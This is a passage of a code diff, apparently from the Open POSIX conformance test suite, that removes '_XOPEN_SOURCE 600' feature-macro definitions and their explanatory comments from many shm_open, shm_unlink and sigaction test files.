 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c
index db7b8ba..19ef649 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/13-1.c
@@ -13,11 +13,6 @@
  * The test uses ftruncate to check that the file is not open for write access.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <fcntl.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c
index c1f2af0..8528322 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/14-2.c
@@ -19,11 +19,6 @@
  * The test pass if it read what it was previously written.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c
index f3760ab..fe8b0a0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-1.c
@@ -13,11 +13,6 @@
  * The test use ftruncate to check the object is not open for writing.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c
index 2125882..a11c195 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-2.c
@@ -13,11 +13,6 @@
  * The test use ftruncate to check the object is open for writing.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c
index 5da4698..918ffc0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/20-3.c
@@ -13,11 +13,6 @@
  * The test use mmap to check the object is open for reading.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c
index 7a82f88..81ce258 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/23-1.c
@@ -17,16 +17,11 @@
  * objects is not NLOOP, the test failed. In other case the test is unresolved.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-
 /* adam.li: 2004-04-30: Rewrite the test case. The idea is that with
    O_CREAT and O_EXCL specified, to shm_open() a object can only success
    once, although multiple processes might open with the same name at the
    same time.
  */
-#define _XOPEN_SOURCE 600
 
 #include <errno.h>
 #include <fcntl.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c
index cc7001c..ef0401f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/25-1.c
@@ -16,11 +16,6 @@
  *  3. Check that the shared memory object is zero length using fstat.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <fcntl.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c
index b91d2e7..215d3e1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c
@@ -21,7 +21,6 @@
  */
 
 /* getpwent() is part of XSI option */
-#define _XOPEN_SOURCE 600
 
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c
index 0a0cccc..95da50c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-1.c
@@ -18,11 +18,6 @@
  *  4. Check that the previously written string is always in the memory.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c
index 16b8dc6..a98b674 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-2.c
@@ -18,11 +18,6 @@
  *  3. Check that the previously written string is always in the mapped memory.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c
index 62615d6..16f40c7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/28-3.c
@@ -19,11 +19,6 @@
  *  4. Check that the previously written string is always in the memory.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c
index 1f542fb..58e4f13 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/32-1.c
@@ -14,7 +14,6 @@
  * open it.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c
index f402044..394fcf9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/34-1.c
@@ -13,7 +13,6 @@
 
 /* FIXME : ambiguite de la spec */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <sys/mman.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c
index f427a45..7e23e36 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/5-1.c
@@ -22,11 +22,6 @@
  *  4. Check that it obtain the right string.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c
index dd18460..cf0e206 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/8-1.c
@@ -21,7 +21,6 @@
  */
 
 /* mkstemp is an XOPEN extension. */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <sys/mman.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c
index a9840d2..e8c97cd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/3-1.c
@@ -11,11 +11,6 @@
  * open and map references to the shared memory object have been removed.
  */
 
-/* ftruncate was formerly an XOPEN extension. We define _XOPEN_SOURCE here to
-   avoid warning if the implementation does not program ftruncate as a base
-   interface */
-#define _XOPEN_SOURCE 600
-
 #include <stdio.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c
index a924c94..ed18cf2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c
@@ -19,7 +19,6 @@
  */
 
 /* getpwent() is part of XSI option */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <sys/mman.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c
index 7565153..5c52465 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c
@@ -19,7 +19,6 @@
  */
 
 /* getpwent() is part of XSI option */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <sys/mman.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c
index c9db823..68cac99 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-1.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c
index 8249eec..15a2c8c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-10.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c
index c81a1c5..3d09920 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-11.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c
index 61a52e1..4f74ac9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-12.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c
index f94db80..fce8623 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-13.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c
index b0d1fde..d73ac2d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-14.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c
index 909e319..ba5cacd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-15.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c
index c69ceb6..20394ed 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-16.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c
index c4b3b14..c866abe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-17.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c
index f614672..d6839dc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-18.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c
index f614672..d6839dc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-19.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c
index f614672..d6839dc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-2.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c
index 21e781a..41ce5f2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-20.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c
index 1d51a5a..949c0b1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-21.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c
index 0fb79db..3d58f3a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-22.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c
index a0a15fd..6467b87 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-23.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c
index 9ef1528..aaa1930 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-24.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c
index 883148b..4c56fcd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-25.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c
index 1366eaf..5782d02 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-26.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c
index 919d2db..12a4b70 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-27.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c
index efbb305..2e183de 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-28.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c
index 03b700c..dda4e79 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-29.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c
index 3e09de5..bfc3295 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-3.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c
index fd87d7b..5542932 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-30.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c
index a21bf35..9572198 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-31.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c
index 9089210..4eeaaa2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-32.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c
index f4d5211..66c3ca8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-33.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c
index 2f60a38..5e4ac19 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-34.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c
index b3bd83d..8eb9ea0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-35.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c
index bbb4191..67cca07 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-36.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c
index 5e02849..0473be0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-37.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c
index 23ab71f..55fd567 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-38.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c
index 2e6bb25..6b833db 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-39.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c
index deaec27..7272445 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-4.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c
index 925d450..f10eaf5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-40.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c
index 671155b..c5b157e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-41.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c
index e685e8d..a5dda41 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-42.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c
index 3b96fd0..51ca51d 100644
